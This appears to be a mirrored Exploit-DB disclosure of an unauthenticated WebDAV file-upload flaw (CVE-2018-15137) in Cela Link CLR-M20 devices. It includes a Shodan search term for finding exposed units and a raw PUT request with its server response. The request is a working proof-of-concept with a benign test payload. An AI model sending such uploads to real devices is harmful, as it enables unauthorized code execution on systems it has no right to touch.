Cela Link CLR-M20 2.7.1.6 – Arbitrary File Upload

  • 作者: Safak Aslan
    日期: 2018-07-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45021/
  • # Exploit Title: Cela Link CLR-M20 2.7.1.6 - Arbitrary File Upload
    # Date: 2018-07-13
    # Shodan Dork: CLR-M20
    # Exploit Author: Safak Aslan
    # Software Link: http://www.celalink.com
    # Version: 2.7.1.6
    # CVE: 2018-15137
    # Authentication Required: No
    # Tested on: Windows
    
    # Vulnerability Description
    # Due to the Via WebDAV (Web Distributed Authoring and Versioning),
    # on the remote server, Cela Link CLR-M20 allows unauthorized users to upload
    # any file(e.g. asp, aspx, cfm, html, jhtml, jsp, shtml) which causes
    # remote code execution as well.
    # Due to the WebDAV, it is possible to upload the arbitrary
    # file utilizing the PUT method.
    
    # Proof-of-Concept
    # Request
    
    PUT /test.html HTTP/1.1
    Host: targetIP
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
    Gecko/20100101 Firefox/61.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en,tr-TR;q=0.8,tr;q=0.5,en-US;q=0.3
    Accept-Encoding: gzip, deflate
    Content-Length: 26
    
    the reflection of random numbers 1230123012
    
    # Response
    
    HTTP/1.1 201 Created
    Content-Length: 0
    Date: Fri, 13 Jul 2018 14:38:54 GMT
    Server: lighttpd/1.4.20
    
    As a result, on the targetIP/test.html, "the reflection of random numbers
    1230123012" is reflected on the page.